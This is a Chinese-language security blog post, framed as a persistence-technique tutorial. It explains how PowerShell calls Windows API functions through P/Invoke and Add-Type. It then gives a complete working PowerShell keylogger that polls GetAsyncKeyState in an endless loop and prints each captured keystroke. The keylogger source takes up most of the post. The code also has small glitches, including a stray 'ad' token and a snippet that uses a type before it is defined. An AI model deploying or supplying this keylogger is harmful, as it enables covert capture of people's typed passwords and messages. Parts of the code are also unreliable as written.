免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。
调用Windows API
PowerShell 是基于 .NET Framework(或者在较新版本中是 .NET Core/.NET 5+)构建的。.NET 提供了一种名为“平台调用”(Platform Invocation Services,简称 P/Invoke)的机制,允许 .NET 代码调用本机的非托管函数,这些函数通常包含在 Windows API 的 DLL 中。
-
.NET 平台的跨语言集成 PowerShell 脚本能够访问几乎所有的 .NET 类和方法,包括用于调用非托管代码的类和方法。 -
P/Invoke 机制 .NET Framework 提供了 P/Invoke,一种特殊的语言特性,使得在托管代码中调用非托管函数(比如 Windows API)变得可能。P/Invoke 通过 DllImport 属性指定要调用外部非托管函数的详细信息。 -
Add-Type cmdlet PowerShell 提供了 Add-Type cmdlet,它可以动态地编译和加载 C# 或其他 .NET 支持的代码。通过 Add-Type,可以在 PowerShell 脚本中定义、编译和加载带有 P/Invoke 签名的 .NET 类型。 -
非托管 API 的普遍可用性 Windows 操作系统广泛使用 DLL 来提供系统服务和功能,包括用户界面、文件操作等。这些 DLL 如 user32.dll、kernel32.dll 等包含了大量的 API 函数,PowerShell 可以通过 .NET 的 P/Invoke 机制来调用这些函数。
定义函数签名
定义 Windows API 函数签名指的是声明一个函数的原型,这样我们就可以在代码中调用 Windows 操作系统提供的 API 函数。这个声明通常需要包含函数的名称、返回类型、参数的类型以及其他必要的属性,例如调用约定和字符串的字符集。
在 C# 或使用 .NET 的其他语言中,我们通过平台调用服务 (P/Invoke) 来声明这些签名。这允许托管代码(如 C# 或 PowerShell 脚本)调用不属于 .NET 框架的非托管 API。P/Invoke 使用特殊的属性 DllImport 来导入 DLL,并声明要使用的函数签名。
$signature
= @
"
[DllImport("
user32.dll
", CharSet = CharSet.Auto, ExactSpelling = true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
"
@
-
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]:这是一个属性,指示 .NET 运行库这个函数是从 user32.dll 动态链接库中导入的,它的字符集是自动的(意味着根据平台选择 ANSI 或 Unicode),并且禁止通过省略参数名来搜索 DLL 中匹配的函数。 -
public static extern short:这表示函数的返回类型是 short(在 C# 中是 16 位整数),而 public static extern 指明这是一个静态的外部函数。 -
GetAsyncKeyState(int virtualKeyCode):这是被导入的函数的名称和它的参数列表。
添加并使用API
一旦定义了 DLL 导入声明(P/Invoke),在代码中就可以直接调用这个外部函数,就像调用本地 .NET 方法一样。而且不需显式调用加载库或检索函数指针的方法,.NET 运行时会负责这些底层工作。
# 将签名添加为新类型
Add-Type -TypeDefinition $signature -Language CSharp
# 使用新增类型的方法
$currentLayout = [Win32]::GetKeyboardLayout([System.Threading.Thread]::CurrentThread.ManagedThreadId)
键盘监听器
公众号之前的文章已经介绍了如何通过C++编写键盘监听器,现在我们也可以通过PowerShell调用Windows API来实现键盘监听器
[CmdletBinding()]
Param()
# Import the user32.dll functions with correct spelling
$signature = @
"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("
user32.dll
")]
public static extern short GetAsyncKeyState(int vKey);
[DllImport("
user32.dll
")]
public static extern int MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl);
[DllImport("
user32.dll
", CharSet = CharSet.Auto, ExactSpelling = true)]
public static extern IntPtr GetKeyboardLayout(uint threadId);
}
"
@
# Try to add the compiled type from the signature
try
{
Add-Type -TypeDefinition $signature -Language CSharp
}
catch
{
# If the type already exists, catch the exception and ignore it
}
$currentLayout = [Win32]::GetKeyboardLayout([System.Threading.Thread]::CurrentThread.ManagedThreadId)
function
MapVirtualKeyToChar
{
param([uint32]$vkey)
$MAPVK_VK_TO_CHAR =
2
$char = [Win32]::MapVirtualKeyEx($vkey, $MAPVK_VK_TO_CHAR, $currentLayout)
if
($char -gt
0
) {
return
[char]$char
}
else
{
return
$null
}ad
}
while
($true) {
Start-Sleep -Milliseconds
40
for
($char =
1
; $char -le
254
; $char++) {
if
([Win32]::GetAsyncKeyState($char) -eq
-32767
) {
$mappedChar = MapVirtualKeyToChar -vkey $char
if
($mappedChar) {
Write-Host $mappedChar
}
}
}
}
总结
本文介绍了PowerShell导入Dll并调用Windows API的方法,PowerShell由.Net负责底层工作,从而具备了许多强大的功能。并根据上述知识编写了一个键盘监听器。后文将根据PowerShell+Windows API探索更多强大的应用。
原文始发于微信公众号(赛博安全狗):【权限维持技术】PowerShell 调用Windows API实现键盘监听器
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论